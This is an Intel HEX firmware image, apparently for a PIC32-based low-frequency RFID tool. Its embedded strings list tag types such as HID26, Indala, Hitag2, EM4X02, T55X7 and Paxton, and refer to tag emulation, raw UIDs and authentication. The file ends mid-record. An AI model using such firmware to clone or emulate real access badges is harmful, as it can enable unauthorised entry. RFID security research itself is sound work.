42340c0022a60800238e040020aee7\n:10290c00ffff0224194a410b000023ae3000423471\n:08291c00414a410b0c0022a608\n:020000040000fa\n:020000041d05d8\n:10292400211080005600c0100c00ca2c4d00401528\n:102934002618a40003006330233804002900601023\n:102944000300e7300600e0102330c7000000a3981e\n:102954000300a3882128a700000083b82120870052\n:102964000f00c3302338c3001100e0102130600091\n:102974002138e5000000a3980300a3880400a89868\n:102984000700a8880800a9980b00a9880c00aa9839\n:102994000f00aa88000083ac040088ac080089ac4e\n:1029a4001000a52410008424f2ffa714fcff8aacb5\n:1029b4000300c3302338c3002a00e0102130600034\n:1029c4002138e5000000a3980300a3880400a5248f\n:1029d40004008424fbffa714fcff83ac2100001037\n:1029e400000000000500e0102330c7000000a39899\n:1029f4002128a700000083b8212087000f00c330de\n:102a04002338c3000d00e010213060002138e500b8\n:102a14000000a38c0400a88c0800a98c0c00aa8ccc\n:102a2400000083ac040088ac080089ac1000a52425\n:102a340010008424f6ffa714fcff8aac0300c33003\n:102a44002338c3000700e010213060002138e5007e\n:102a54000000a38c0400a52404008424fcffa71414\n:102a6400fcff83ac0600c0102138c5000000a39011\n:102a74000100a52401008424fcffa714ffff83a008\n:102a84000800e0030000000000008a90211080008c\n:102a940003004015000000000800e00300000224c9\n:102aa40001008a9003004015000000000800e003c4\n:102ab4000100022402008a90030040150000000077\n:102ac4000800e0030200022403008a90030040157a\n:102ad400822004000800e00303000224010084248f\n:102ae4008020040000008a8c0101093c0101293581\n:102af400c07909002340490124400f010600001158\n:102b040024600a01040088110000000000008a907b\n:102b1400220000100000842404008b8c23406901ef\n:102b240024400f010600001124600b0104008811e9\n:102b34000000000004008a9018000010040084249f\n:102b440008008a8c2340490124400f01060000112b\n:102b540024600a01040088110000000008008a9023\n:102b64000e000010080084240c008b8c23406901a3\n:102b740024400f010600001124600b010400881199\n:102b8400000000000c008a90040000100c00842453\n:102b940010008a8cd7ff0010100084240400401514\n:102ba40000000000000084240800e00323108200d9\n:102bb40001008a90040040150000000001008424f4\n:102bc4000800e0032310820002008a9004004015ec\n:102bd40000000000020084240800e00323108200a7\n:102be40003008a90030084240800e0032310820079\n:020000040000fa\n:020000041d05d8\n:102bf400e0ffbd271c00bfaf1800b2af1400b1af97\n:102c04001000b0af1700a0102180a0002190c000d8\n:102c14000e00c010211000000c008014211040028e\n:102c24000000023c00004224150040102188c0002e\n:102c3400010004240000000c01001026ffff3126cf\n:102c4400fbff2016ffff02a2211040021c00bf8fd1\n:102c54001800b28f1400b18f1000b08f0800e00389\n:102c64002000bd27211000001c00bf8f1800b28f68\n:102c74001400b18f1000b08f0800e0032000bd27be\n:102c840000a0023c3800438c02000224250062109c\n:102c940080bf023c80bf023c0060428c80bf063c87\n:102ca4003060c62480bf053c1060a52400804230fb\n:102cb40005004014211040020080033480bf023c10\n:102cc400086043ac211040020000a38c0100633073\n:102cd40009006014a00003243b4b410b00000000da\n:102ce40005006010000000000000a48c0100843086\n:102cf400fbff8010ffff63240000a38c01006330fe\n:102d0400d2ff6054231042020000c38c010010263d\n:102d1400ffff4224ecff4014ffff03a2144b410bbe\n:102d24002310420240684224daff401080bf023c74\n:102d34000068428c80bf063c3068c62480bf053cd6\n:082d44002c4b410b1068a52483\n:020000040000fa\n:020000041d05d8\n:102d4c00e0ffbd271c00bfaf1800b1af1400b0af3f\n:102d5c000c00a29402004330480060102180a000b7\n:102d6c00000243301c0060100400a38c00024534a8\n:102d7c000c0005a61c006010ff0091300a00042412\n:102d8c001f002412800042301000028e36006210a8\n:102d9c00010063240000028e01004424000004aef4\n:102dac00040003ae000051a00100032400a0023c6b\n:102dbc00747143a00a000224180022520c000396de\n:102dcc00211020021c00bf8f1800b18f1400b08f8f\n:102ddc000800e0032000bd272800601400024534e1\n:102dec000c0005a6ff0091300800048e000004ae14\n:102dfc000a000424e5ff24561000028e80004230a5\n:102e0c00e2ff40541000028e0d000424534b410f7e\n:102e1c0021280002654b410b0400038e0001633036\n:102e2c00e8ff60100a0002240e0004960800058ecc\n:102e3c00ac52410f0400068e0400038e0600435072\n:102e4c000800038e0c000296ffff11243000423460\n:102e5c000c0002a60800038e040000ae2110200214\n:102e6c00744b410b000003ae2024117c284d410f04\n:102e7c0021280002754b410b1c00bf8f744b410b7a\n:042e8c00ffff02241e\n:020000040000fa\n:020000041d05d8\n:102e9000f0ffbd270c00beaf21f0a0030200c0a7c9\n:102ea000ea4b410b000000000400c0a70200c297db\n:102eb000060040140000000089bf023c0093428cd1\n:102ec0000000c2a7c14b410b000000000200c397e5\n:102ed00004000224060062140000000089bf023cc6\n:102ee0001093428c0000c2a7c14b410b00000000b0\n:102ef00089bf023c2093428c0000c2a7e24b410be9\n:102f000000000000e24b410b000000000000c297ef\n:102f10000f0042300600c2a70600c2970a00422cea\n:102f200006004010000000000600c2973000422456\n:102f30000600c2a7d24b410b000000000600c2975a\n:102f4000370042240600c2a70200c29701004324b2\n:102f50000200c3a72118400000a0023c4018030053\n:102f600040724224211062000600c397020043a46d\n:102f70000000c297021102000000c2a70400c2971d\n:102f8000010042240400c2a70400c2970400422c9e\n:102f900005004010000000000200c2970c00422c07\n:102fa000daff4014000000000200c2970c00422c1f\n:102fb000bdff40140000000021e8c0030c00be8fdc\n:0c2fc0001000bd270800e0030000000026\n:020000040000fa\n:020000041d05d8\n:102fcc00d0ffbd272c00bfaf2800b5af2400b4af95\n:102fdc002000b3af1c00b2af1800b1af1400b0affb\n:102fec0080180400059d023c285f422421106200d9\n:102ffc00401904001c009324059d103cd448102655\n:10300c00218003022190a0000000518c212060023d\n:10301c0021280000c956410f21a8c0000800048ec9\n:10302c000c00058e00800234040022ae9956410f2c\n:10303c00008052361000048e1400058e8956410f04\n:10304c002000543226008012059d023c059d023c56\n:10305c00645a42240000048e09f840000400058ed6\n:10306c000080023c80004224241042020a004010de\n:10307c00000000001c0041068007427e1d0040102d\n:10308c00059d023c059d023c245a42241800048ee6\n:10309c0009f840001c00058e0d57410f21206002dd\n:1030ac0042a81500ffffb526300035ae2000228e59\n:1030bc0040000224140022ae000032ae2c00bf8f60\n:1030cc002800b58f2400b48f2000b38f1c00b28f62\n:1030dc001800b18f1400b08f0800e0033000bd273a\n:1030ec00184c410b245a4224e7ff8052059d023ca8\n:0c30fc00059d023c264c410b645a422406\n:020000040000fa\n:020000041d05d8\n:10310800c8ffbd273400bfaf3000b7af2c00b6af43\n:103118002800b5af2400b4af2000b3af1c00b2af95\n:103128001800b1af1400b0af21a0c0002188e000a2\n:103138002518e6000300633004006014010002242f\n:103148000d00c01421b08000211000003400bf8f92\n:103158003000b78f2c00b68f2800b58f2400b48fad\n:103168002000b38f1c00b28f1800b18f1400b08fed\n:103178000800e0033800bd2721b8a00000f01224a1\n:1031880024909200ff0f95302120e0002128400272\n:10319800494a410f2130a0020010132423807502f0\n:1031a8002b101402190040142128e00221203502b6\n:1031b8002128e002494a410f2130800223301402bd\n:1031c8001900c0142120b40221a000001857410f93\n:1031d80021204002218000002120120221283002f3\n:1031e800d856410f00021026fcff131621201202a8\n:1031f800d5ff801221a80000238075022b1014022d\n:10320800eaff40102190c0022128e0022120350267\n:10321800494a410f2130000223a0900221b0d00278\n:10322800754c410b21b8f0022128d402494a410fbc\n:0c32380021202402754c410b21a0000055\n:020000040000fa\n:020000041d05d8\n:103244000d0a0d0a20204869676820504f54202831\n:1032540077697065722030292076616c75653a2033\n:10326400256400000d0a4869676820504f542028df\n:103274007769706572203029207265616420666107\n:10328400696c656421202564000000000d0a20207b\n:103294004c6f7720504f5420287769706572203125\n:1032a400292076616c75653a202564000d0a4c6fff\n:1032b4007720504f54202877697065722031292077\n:1032c40072656164206661696c656421202564000f\n:1032d4000d0a0d0a202048696768204e5620504f79\n:1032e40054202877697065722030292076616c75c6\n:1032f40065202564000000000d0a48696768204eb7\n:103304005620504f54202877697065722030292048\n:1033140072656164206661696c65642120256400be\n:103324000d0a20204c6f77204e5620504f542028f1\n:1033340077697065722031292076616c7565202566\n:10334400640d0a000d0a4c6f77204e5620504f54de\n:1033540020287769706572203129207265616420a4\n:103364006661696c6564212025640d0a0000000013\n:103374000d0a6f66667365742070617374207a65d4\n:10338400726f2070756c73657320256400000000f3\n:103394000d0a426172726965722028256429200031\n:1033a400286261642070756c736520636f756e7438\n:1033b4002025642920000000312028676170202521\n:1033c40064292000302028676170202564292000aa\n:1033d4002862616420676170202564292000000050\n:1033e40020307825303278000d0a31204761703a58\n:1033f4002025642c200000000d0a30204761703a1b\n:103404002025642c200000000d0a3f3f3f20476127\n:10341400703a2025642c20004269742050756c7326\n:10342400653a202564000000426172726965722069\n:1034340050756c73653a2025640000003f3f3f20bf\n:1034440050756c73653a20256400000025730000f4\n:103454000d0a00004d6573736167652063686563d9\n:103464006b696e672c2063616c63756c6174656451\n:1034740020636865636b73756d3a20307825780d29\n:103484000a0000002025303258000000200000000f\n:0c3494002020202025730d0a00000000fd\n:020000040000fa\n:020000041d05d8\n:1034a000e8ffbd271400bfaf1000b0af2180a0001f\n:1034b0000c00a294400043301c0060141800a4a328\n:1034c000020043303d006050300042341000a38cb5\n:1034d0001b0060500e00a4940800a58c2d00a05085\n:1034e00000a0053c0400068eac52410f0e0004966d\n:1034f0000800028e1800a38301004424ffff052466\n:10350000040005ae000004ae000043a01800a28332\n:103510000a000324130043500c0003961400bf8fcd\n:103520001000b08f0800e0031800bd272014047cb1\n:103530001400bf8f1000b08f0800e0031800bd27f3\n:103540001800a527ac52410f01000624040000ae6c\n:103550001800a2831400bf8f1000b08f0800e00392\n:103560001800bd2700016330edff60101400bf8f0d\n:103570000e0004960800058eac52410f0400068e22\n:103580000800038e1800a283040000ae474d410bd3\n:10359000000003ae9871a5242000032408004234e3\n:1035a000080005ae000005ae100003ae040003ae37\n:1035b0000c0002a63a4d410b200006240c00a2a4e8\n:0c35c0000400a0ac474d410bffff0224ab\n:020000040000fa\n:020000041d05d8\n:1035cc0025408500030008313d0000150101093c30\n:1035dc0001012935c07909000000828c0000a38c00\n:1035ec00234049000400431024400f0100008424b0\n:1035fc00330000100000a524050000112460030115\n:10360c0003008811000000000800e00321100000f6\n:10361c000400828c0400a38c234049000400431056\n:10362c0024400f0104008424250000100400a5246c\n:10363c000500001124600301030088110000000044\n:10364c000800e003211000000800828c0800a38c05\n:10365c00234049000400431024400f010800842437\n:10366c00170000100800a5240500001124600301b8\n:10367c0003008811000000000800e0032110000086\n:10368c000c00828c0c00a38c2340490004004310d6\n:10369c0024400f010c008424090000100c00a52408\n:1036ac0010008424ccff00111000a5242460030119\n:1036bc00caff88110000828c0800e0032110000072\n:1036cc00000088900000a9900300001101008424e0\n:1036dc00fbff09110100a5240800e00323100901d8\n:020000040000fa\n:020000041d05d8\n:1036ec004e4f4e450000000041534b5241570000d5\n:1036fc0046534b315241570046534b3252415700bf\n:10370c0050534b315241570050534b32524157009a\n:10371c0050534b33524157004849544147310000f4\n:10372c004849544147320000454d3458303200006e\n:10373c00513500004849443236000000494e44419e\n:10374c004c41363400000000494e44414c41323269\n:10375c0034000000554e495155450000464458422e\n:10376c0000000000543535583700000041574944db\n:10377c0032360000454d34583035000054414d412f\n:10378c00474f54434849000048445800504158544e\n:10379c004f4e00004e6f6e650000000041534b2fe2\n:1037ac004f4f4b0046534b0050534b0025730000ba\n:1037bc000d0a4b6e6f776e205441472074797065fb\n:1037cc00733a0d0a000000000d0a2020257300003a\n:1037dc000d0a00000d0a202025733a20000000007d\n:1037ec003030303030303030000000003444343968\n:0c37fc00344235320000000000000000e4\n:020000040000fa\n:020000041d05d8\n:10380800e8ffbd271400bfaf1000b0afef57410f5e\n:103818002180800088bf063c0030c78c0003e77c0d\n:103828000800e014004003360010042488bf033c5d\n:10383800083064ac0030c38c00086330fdff6014ae\n:103848000040033681bf103c00f403ae0048054039\n:103858000048034023186500f000632cfcff601447\n:1038680081bf033c99aa043c5566842410f464acd7\n:103878006655043caa99843410f464ac008004347e\n:1038880081bf033c08f464ac00f4038e008063300d\n:10389800fdff60140040042481bf033c04f464acc1\n:1038a8001200e010001004240030c38c0003637c75\n:1038b8000600601488bf033c083064ac0030c38c39\n:1038c80000086330fdff6014000000009257410fac\n:1038d8002120400000f4028e003042301400bf8fd7\n:1038e8001000b08f0800e0031800bd2788bf033c14\n:1038f800043064ac9257410f2120400000f4028e3e\n:10390800003042301400bf8f1000b08f0800e00371\n:043918001800bd27af\n:020000040000fa\n:020000041d05d8\n:10391c000020202020202020202028282828282093\n:10392c00202020202020202020202020202020208b\n:10393c0020801010101010101010101010101010fb\n:10394c0010040404040404040404041010101010e3\n:10395c0010104141414141410101010101010101ad\n:10396c0001010101010101010101010110101010ff\n:10397c00101042424242424202020202020202027f\n:10398c0002020202020202020202020210101010d3\n:10399c0020000000000000000000000000000000fb\n:1039ac00000000000000000000000000000000000b\n:1039bc0000000000000000000000000000000000fb\n:1039cc0000000000000000000000000000000000eb\n:1039dc0000000000000000000000000000000000db\n:1039ec0000000000000000000000000000000000cb\n:1039fc0000000000000000000000000000000000bb\n:103a0c0000000000000000000000000000000000aa\n:043a1c0000000000a6\n:020000040000fa\n:020000041d05d8\n:103a2000e0ffbd271c00bfaf1800b2af1400b1af5c\n:103a30001000b0af218080000c008394110064302e\n:103a4000010002241c00821400026230180040149d\n:103a50000400028efffd63300c0003a61a0011243f\n:103a60000d0012241f004018ffff44240000028ea6\n:103a7000040004ae01004424000004ae00004290a3\n:103a800080006430050080141c00bf8f1c00515062\n:103a90000800028e110052500400028e1800b28fee\n:103aa0001400b18f1000b08f0800e0032000bd2784\n:103ab000e9ff4050fffd6330100063340c0003a6a3\n:103ac000ffff02241c00bf8f1800b28f1400b18fbb\n:103ad0001000b08f0800e0032000bd27e3ff401c6a\n:103ae000ffff442440006230f3ff40142120000215\n:103af000e749410f00000000a04e410b0c00039667\n:103b0000eeff4050100063340400048e0000028e6b\n:103b100001008424ffff4224040004aeae4e410b9a\n:043b2000000002aef1\n:020000040000fa\n:020000041d05d8\n:103b2400c03d867cffffc824fe00082dc24f040060\n:103b34002b00001100b0877c81ffc6248000023c6a\n:103b44002510e2002130c5007f00c324180060184e\n:103b5400c0100200070044300d008014c000447cf3\n:103b6400ff00642824008010c2100200c005447cb9\n:103b7400020080502118000000b0427c004a090075\n:103b840025186900c01d03000800e0032510620029\n:103b94000300422421104400c2260200f1ff8010d9\n:103ba400ff00642842100200d94e410b0100632437\n:103bb40082ff0324231866001b006428120080502f\n:103bc400211000009e00c42404208200061062001c\n:103bd4002b18040025106200d64e410b010003246b\n:103be4000300c014000000000900e0142018e37072\n:103bf4000800e0032110800000120900ff00423495\n:103c04000800e003c0150200e04e410b211800003b\n:103c1400f8ff6224041047008aff0624d24e410ba9\n:043c24002330c30086\n:020000040000fa\n:020000041d05d8\n:103c2800000101020102020301020203020303046c\n:103c3800010202030203030402030304030404054c\n:103c4800010202030203030402030304030404053c\n:103c5800020303040304040503040405040505061c\n:103c6800010202030203030402030304030404051c\n:103c780002030304030404050304040504050506fc\n:103c880002030304030404050304040504050506ec\n:103c980003040405040505060405050605060607cc\n:103ca80001020203020303040203030403040405dc\n:103cb80002030304030404050304040504050506bc\n:103cc80002030304030404050304040504050506ac\n:103cd800030404050405050604050506050606078c\n:103ce800020303040304040503040405040505068c\n:103cf800030404050405050604050506050606076c\n:103d0800030404050405050604050506050606075b\n:103d1800040505060506060705060607060707083b\n:020000040000fa\n:020000041d05d8\n:103d2800c03a0500425d04002538eb00c0320400ab\n:103d38000080013c2538e1000080013c2448a100b6\n:103d4800404005004245080080fc0825ffff0b2580\n:103d5800fe00612d12002010000000000200c010bb\n:103d6800000000000100e7348000e7248000eb2c0d\n:103d780021400b01025a070001006b312338eb0088\n:103d880040380700423a0700c05d08002538eb00bc\n:103d98002510e9000800e003000000000000000012\n:103da8007f040124070001150000000040580700a7\n:103db800255866010300601100000000f5ff00109f\n:103dc800c0ff023cff00012904002014000000008d\n:103dd800807f013cefff00102510210101000a241b\n:103de800235048012000412d03002014000000004a\n:103df800e8ff00102510090020000c2423608a0128\n:103e0800045887012530cb000638470100000824f4\n:103e18000080013cd1ff00102538e10000000000bf\n:020000040000fa\n:020000041d05d8\n:103e280020202020202020202020202020205479fd\n:103e380070653a20257300000d0a202020202020dc\n:103e4800202020456d756c6174696e673a20257372\n:103e5800000000000d0a2020202020202020202003\n:103e680020526177205549443a202573000000000c\n:103e7800696e76616c696421000000000d0a2020db\n:103e880020202020202020202020202020554944a8\n:103e98003a20257300000000257300000d0a0d0a62\n:103ea800000000000d0a20202020202020202020b3\n:103eb80020202020446174613a0000000d0a20206f\n:103ec80020202020202020202020202020202025e5\n:103ed800643a20000d0a25643a20286661696c2935\n:103ee8000d0a00000d0a25643a2000002046616989\n:103ef8006c656421000000002028417574682f4c0f\n:103f08006f67696e290000000d0a0d0a25643a20c2\n:043f180000000000a5\n:020000040000fa\n:020000041d05d8\n:103f1c0000950000000000000000000001f9000006\n:103f2c0000000000000000000887000004000000f2\n:103f3c000000000009af00000000000001000000bc\n:103f4c000a1b000000000000010000000cc3000070\n:103f5c0001000000000000000daf00000200000096\n:103f6c000000000010ff0000000000000000000036\n:103f7c0011ff0000000000000100000012ff000013\n:103f8c00000000000100000018ff0000000000000d\n:103f9c000100000019ff00000000000001000000fb\n:103fac0020ff0000000000000000000021ff0000c6\n:103fbc00000000000000000026df000001000000ef\n:103fcc00000000003773000000000000000000003b\n:103fdc003a25000004000000000000003b25000012\n:103fec00000000000000000029ff00000400000099\n:103ffc000000000017ff000000000000000000009f\n:020000040000fa\n:020000041d05d8\n:1040100001000000000000000a0000000000000095\n:104020006400000000000000e80300000000000041\n:104030001027000000000000a08601000000000022\n:1040400040420f0000000000809698000000000031\n:1040500000e1f5050000000000ca9a3b00000000e6\n:1040600000e40b540200000000e87648170000004e\n:104070000010a5d4e800000000a0724e180900004e\n:1040800000407a10f35a00000080c6a47e8d030021\n:104090000000c16ff286230000008a5d784563014d\n:1040a000000064a7b3b6e00d0000e8890423c78ac6\n:1040b000286e756c6c290000303132333435363758\n:1040c0003839414243444546000000003031323324\n:1040d0003435363738396162636465660000000044\n:1040e0000000003f0000803f00002041cdcccc3dcf\n:0840f0005f7089400000000030\n:020000040000fa\n:020000041d05d8\n:1040f800a8ffbd270400a1af0800a2af0c00a3af22\n:104108001000a4af1400a5af1800a6af1c00a7affd\n:104118002000a8af2400a9af2800aaaf2c00abaf9d\n:104128003000acaf3400adaf3800aeaf3c00afaf3d\n:104138004000b8af4400b9af4800bfaf124000001c\n:104148004c00a8af104000005000a8af059d1a3cd5\n:1041580000585a270000000000680440006005402d\n:1041680009f84003000000005000a88f110000016a\n:104178004c00a88f130000010400a18f0800a28f33\n:104188000c00a38f1000a48f1400a58f1800a68f11\n:104198001c00a78f2000a88f2400a98f2800aa8fb1\n:1041a8002c00ab8f3000ac8f3400ad8f3800ae8f51\n:1041b8003c00af8f4000b88f4400b98f4800bf8fd4\n:0c41c8005800bd27c00000001800004295\n:020000040000fa\n:020000041d05d8\n:1041d400e8ffbd271400bfaf00a0023c3800428caa\n:1041e4000a0040142024047c0000023c0000422405\n:1041f400250040100000023c0000000c00000000fc\n:104204001400bf8f0800e0031800bd270100032439\n:104214001500431080bf053c80bf053c2068a524e1\n:1042240080bf023c1868422480bf063c0868c6244c\n:1042340080bf033c10686324008007340000c7accf\n:1042440000040624000046ac0000628c00014230e9\n:10425400fdff4010000000000000a4ac1400bf8f5c\n:104264000800e0031800bd272060a52480bf023c9d\n:104274001860422480bf063c0860c62480bf033c0b\n:104284008f50410b1060632400004224e3ff401070\n:1042940080bf053c0000000c000000008250410b70\n:0442a4001400bf8fb4\n:020000040000fa\n:020000041d05d8\n:1042a80001000000000000000a00000000000000fb\n:1042b8006400000000000000e803000000000000a7\n:1042c8001027000000000000a08601000000000088\n:1042d80040420f0000000000809698000000000097\n:1042e80000e1f5050000000000ca9a3b000000004c\n:1042f80000e40b540200000000e8764817000000b4\n:104308000010a5d4e800000000a0724e18090000b3\n:1043180000407a10f35a00000080c6a47e8d030086\n:104328000000c16ff286230000008a5d78456301b2\n:10433800000064a7b3b6e00d0000e8890423c78a2b\n:10434800286e756c6c2900003031323334353637bd\n:104358003839414243444546000000003031323389\n:1043680034353637383961626364656600000000a9\n:020000040000fa\n:020000041d05d8\n:10437800e8ffbd271400bfaf1000beaf21f0a003b7\n:104388001800c4af1c00c5af2000c6af00a0023c97\n:10439800dc564224870042900a0003240f00431091\n:1043a8000000000012000324060043100000000073\n:1043b800080003240f004310000000000551410bc2\n:1043c800000000001c00c48f2000c58fbfe1400f13\n:1043d800000000000651410b000000001c00c48fc3\n:1043e8002000c58f27d0400f000000000651410b68\n:1043f800000000001c00c48f2000c58f22ae400fb3\n:10440800000000000651410b0000000021100000d0\n:1044180021e8c0031400bf8f1000be8f1800bd270d\n:084428000800e00300000000a1\n:020000040000fa\n:020000041d05d8\n:10443000e0ffbd271c00bfaf1800b2af1400b1af42\n:104440001000b0af80180400059d023c285f422494\n:10445000211062000000428c1c0091240000528c4c\n:10446000212800004081040000800334040043ac94\n:1044700021202002059d023cd4484224c956410f08\n:10448000218050000d57410f212020020800048e8a\n:104490002357410f0c00058e1000048e2357410f47\n:1044a0001400058e0000048e2357410f0400058e72\n:1044b0000080023c80004224249042020500401209\n:1044c0001c00bf8f1800048e2357410f1c00058e5f\n:1044d0001c00bf8f1800b28f1400b18f1000b08f76\n:0844e0000800e0032000bd27e5\n:020000040000fa\n:020000041d05d8\n:1044e800c23d0400ff00e7300080013c2430810019\n:1044f800ffffe924fe00212d0d0020100000000020\n:104508008003e724404a0400024b09002530c90013\n:10451800402f0400004d07002530c9002510050074\n:10452800251806000800e003000000000000000055\n:104538000000052421208400f6ff80100000000000\n:104548000900e01400000000ffffe7242120840098\n:104558008000013c2b088100fbff201400000000b4\n:10456800e7ff001000000000ff07072400ff013ce0\n:10457800010021342b088100e6ff20140000000010\n:0c458800e4ff0010f8ff063c00000000fb\n:020000040000fa\n:020000041d05d8\n:10459400211080002600c0101000ca2c1f004015f6\n:1045a400ff00a530005205002528aa00005405008c\n:1045b4002528aa00030083300500601004000724a6\n:1045c4002338e3002330c700000085b8212087008a\n:1045d4000f00c3302338c3000800e010213060000e\n:1045e4002138e400000085ac040085ac080085aceb\n:1045f40010008424fbff8714fcff85ac0300c33048\n:104604002338c3000500e010213060002138e400a5\n:1046140004008424feff8714fcff85ac0400c01052\n:104624002138c40001008424feff8714ffff85a005\n:084634000800e0030000000093\n:020000040000fa\n:020000041d05d8\n:10463c00e0ffbd271c00bfaf1800b0af059d103cbc\n:10464c001d3910262118900000006390040067307b\n:10465c000a00e01021108000d0ff82242a28450097\n:10466c001300a014ff004230ff0002241c00bf8f77\n:10467c001800b08f0800e0032000bd270100673050\n:10468c000400e050030063300d00c0140000000073\n:10469c0003006330f5ff6050ff000224a9ff4224a1\n:1046ac002a284500f1ffa050ff000224ff004230f1\n:1046bc001c00bf8f1800b08f0800e0032000bd273e\n:1046cc006157410f1000a5af2180500000000392ec\n:0846dc00a751410b1000a58f4e\n:020000040000fa\n:020000041d05d8\n:1046e400200003240900052400008280feff4350bb\n:1046f40001008424030045542d000324bb51410bc5\n:104704000100842419004310212880002b00032475\n:104714001a00431021480000059d083c1d39082556\n:104724002118020100006390040063300c00601043\n:104734002118000001008424d0ff46240000828058\n:1047440040380300c0180300212802010000a5908e\n:104754002118e3000400a530f6ffa0142118660018\n:10476400231003000800e0030a10690001008424f8\n:104774000100a280c751410b0100092401008424d7\n:08478400c751410b0100a280a6\n:020000040000fa\n:020000041d05d8\n:10478c002530386c58000000253031366c6c5800e0\n:10479c002532580025730000253858002558000094\n:1047ac002530326c7800000025730d0a00000000e3\n:1047bc0025642000256400000d0a00002b00000079\n:1047cc002e0000000d0a4f4b0d0a0d0a00000000d0\n:1047dc002125730d0a0000000d0a25730d0a0d0a20\n:1047ec00000000003f000000200000003c3f786dfe\n:1047fc006c2076657273696f6e3d22312e302220eb\n:10480c00656e636f64696e673d225554462d382280\n:10481c003f3e00003c25733e000000003c2f2573fa\n:04482c003e0000004a\n:020000040000fa\n:020000041d05d8\n:10483000e0fdbd271c02bfaf1802beaf21f0a003f0\n:104840002002c4af2402c5af2402c28f0000428000\n:104850000c004014000000001000c227212040007e\n:10486000f82b410f0000000004004014000000007d\n:10487000211000002f52410b000000001000c22741\n:104880002402c2af00a0023cdc56422487004290c2\n:1048900021184000070002240700621400000000f5\n:1048a0002002c48f2402c58f66ab400f00000000b9\n:1048b0002f52410b000000002110000021e8c0032e\n:1048c0001c02bf8f1802be8f2002bd270800e00324\n:0448d00000000000e4\n:020000040000fa\n:020000041d05d8\n:1048d40007000000000000000700000000000000c6\n:1048e40007000000000000000700000000000000b6\n:1048f40003000000000400000300000001000000a9\n:10490400020000001000000003000000000200008c\n:104914000600000040000000060000000001000046\n:1049240006000000800000000600000000020000f5\n:1049340003000000008000000500000000010000ea\n:104944000500000004000000030000000040000017\n:104954000500000000200000050000002000000009\n:104964000500000010000000050000000010000019\n:020000040000fa\n:020000041d05d8\n:10497400e8ffbd271400bfaf1000b0af2180800056\n:104984000c008294010244300100032417008310b8\n:1049940002024430020203240500831021100000a7\n:1049a4001400bf8f1000b08f0800e0031800bd276b\n:1049b4000800058efbffa0101400bf8f0400028eb8\n:1049c400f9ff40501000b08f0e000496ac52410f16\n:1049d400213040000400038e040043100c000296b2\n:1049e40030004234ffff42300c0002a60800038e60\n:1049f4004001427c040000ae000003ae231002001c\n:104a04001400bf8f1000b08f0800e0031800bd270a\n:020000040000fa\n:020000041d05d8\n:104a1400feff082440300400403805002548c70044\n:104a24001b0020110000000000ff013c01002134a4\n:104a34002b08c1001a0020100000000000ff013cf8\n:104a4400010021342b08e1001500201000000000b3\n:104a54000200810442300600233006000200a10453\n:104a640042380700233807002a08c7000300201033\n:104a74000000000007000010ffff02242a08e600df\n:104a840003002010000000000200001001000224b6\n:104a9400000002240800e003000000000000000001\n:0c4aa400fcff00102510080000000000be\n:020000040000fa\n:020000041d05d8\n:104ab0001800a010211000001200c0100300842c68\n:104ac0001200801000000000e0ffbd271c00bfaff7\n:104ad0000000023c00004224100040101800b0af5b\n:104ae0002120a0002128c0000000000c1400a6af67\n:104af0001400a68f2110c0001c00bf8f1800b08fbb\n:104b00002000bd270800e003000000000800e003cb\n:104b10002110c0000800e003000000002180c00058\n:104b20000000a480ffff10260100a5241000a5afff\n:104b30007550410f1400a6af1000a58ff8ff0016a6\n:0c4b40001400a68fbe52410b2110c000d3\n:020000040000fa\n:020000041d05d8\n:104b4c000400c92805002011213886001700c01c5c\n:104b5c00000000000800e003211000002540850043\n:104b6c0003000831030000110000000010000010c9\n:104b7c00000088900000888c0000a98c040084241c\n:104b8c00050009110400a524fcffa524fcff8424c6\n:104b9c000700001000008890fcffc624f5ffc01c25\n:104bac00000000000800e0032110000000008890c5\n:104bbc000000a99001008424030009110100a52420\n:104bcc000800e00323100901f8ff8714000000001f\n:084bdc000800e00321100000b5\n:020000040000fa\n:020000041d05d8\n:104be400257300000d0a496e736572742063617247\n:104bf400640000000d0a4c6f6164696e67204d65a6\n:104c0400646961000d0a44657465637465642053c6\n:104c14004420436172642073697a65202873656354\n:104c2400746f7273293a2025640000000d0a5365dd\n:104c340063746f722073697a653a202564000000fa\n:104c44000d0a4469726563746f72793a0d0a0d0a2c\n:104c5400000000002a2e2a002573090025730d0a7e\n:104c640000000000286469722900000025640d0a10\n:044c7400000000003c\n:020000040000fa\n:020000041d05d8\n:104c780000a0033cc07262800b00401401000424b1\n:104c88005158023c2df44234c07264a0954c053c46\n:104c98002e7fa5242118400000a0043cb87285ace2\n:104ca8000800e003bc7283ac00a0043cb872828c9c\n:104cb8005158063c2df4c63402304670bc72878cbd\n:104cc800954c053c2d7fa5241900450012100000c5\n:104cd800101800000240e57021300601010045244b\n:104ce8002b10a2002118c3002118430000f0627c99\n:0c4cf800b87285ac0800e003bc7283ac0d\n:020000040000fa\n:020000041d05d8\n:104d0400c2350400ff00c630ffffc924fe00212d78\n:104d14000b0020100000000082ffc6247f80013cad\n:104d2400ffff213424208100003f013c2520810025\n:104d34000000a6ac251004000800e00300000000f9\n:104d44000d00c0140000000021488400f8ff201169\n:104d540000000000403a04002040e8702330c800fe\n:104d6400043807010080013c24208100024a070026\n:104d7400e9ff001025208900c0ff043cecff00106f\n:084d84000000062400000000fd\n:020000040000fa\n:020000041d05d8\n:104d8c000d0a7469636b7320256c64000d0a312065\n:104d9c0075733a2025640000257300000d0a00008d\n:104dac000d0a31302075733a202564000d0a31301c\n:104dbc00302075733a202564000000000d0a313054\n:104dcc0030302075733a2025640000000d0a313014\n:104ddc002c3030302075733a202564000d0a3130a8\n:104dec00302c3030302075733a20256400000000e0\n:104dfc000d0a312c3030302c3030302075733a2085\n:104e0c0025640000ff0000003f0000000f000000c0\n:104e1c0003000000df000000370000000d00000060\n:104e2c0002000000bf0000002f0000000b0000007b\n:104e3c00020000009f000000270000000900000095\n:104e4c00010000007f0000001f00000007000000b0\n:104e5c00010000005f0000001700000005000000ca\n:104e6c00000000003f0000000f00000003000000e5\n:104e7c00000000001f0000000700000001000000ff\n:044e8c000000000022\n:020000040000fa\n:020000041d05d8\n:104e9000002a04000080013c2528a100c23d040036\n:104ea000ff00e7309e0006242330c7000d00c01825\n:104eb000000000002000c1280300201400000000b2\n:104ec0000500001000000224020081040628c5002d\n:104ed00023280500251005000800e003000000005d\n:104ee00000000000807f013c010021342b0881007c\n:104ef0000300201400000000f7ff00100080023cb7\n:104f0000ff7f023cf4ff0010ffff4234000000006e\n:020000040000fa\n:020000041d05d8\n:104f1000e8ffbd271400bfafef57410f00000000ae\n:104f200088bf023c0030438c0003637c090060545e\n:104f300081b